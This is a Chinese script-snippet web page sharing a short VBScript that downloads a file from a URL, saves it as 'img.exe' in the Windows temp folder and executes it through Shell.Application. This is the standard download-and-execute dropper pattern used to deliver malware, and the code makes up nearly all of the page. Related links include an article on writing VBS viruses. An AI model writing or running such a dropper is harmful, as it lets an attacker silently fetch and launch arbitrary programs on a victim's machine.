手机
当前位置:查字典教程网 >脚本专栏 >vbs >下载文件到本地运行的vbs
下载文件到本地运行的vbs
摘要:复制代码代码如下:'onerrorresumenextdl=http://www.jb51.net/index.htm'这是要下载的文件的路...

复制代码 代码如下:

'onerrorresumenext

dl=http://www.jb51.net/index.htm '这是要下载的文件的路径

str="Microsoft.XMLHTTP"

Setx=CreateObject(str)

Setx=CreateObject(str)

setS=createobject("adodb.stream")

S.type=1

x.Open"GET",dl,False

x.Send()

fname1="img.exe"

setF=createobject("Scripting.FileSystemObject")

settmp=F.GetSpecialFolder(2)'缓存

fname1=F.BuildPath(tmp,fname1)

S.open

S.writex.responseBody

S.savetofilefname1,2

msgboxfname1

S.close

setQ=createobject("Shell.Application")

Q.ShellExecutefname1

【下载文件到本地运行的vbs】相关文章:

用vbs实现本地连接禁用/启用脚本代码

vbs fso跨盘移动文件夹的怪问题

使用vbs下载文件的代码加强版

VBS模拟POST上传文件的代码

用于提取网易文件的hta代码

用VBS可执行程序+Xmlhttp下载备份网上文件的代码

vbs选择文件夹效果代码

把任意文件转成vbs文件的file2vbs的vbs代码

远程或本地获取系统信息的脚本RGIS.vbs

vbs病毒制作之一复制自身的vbs脚本

精品推荐
分类导航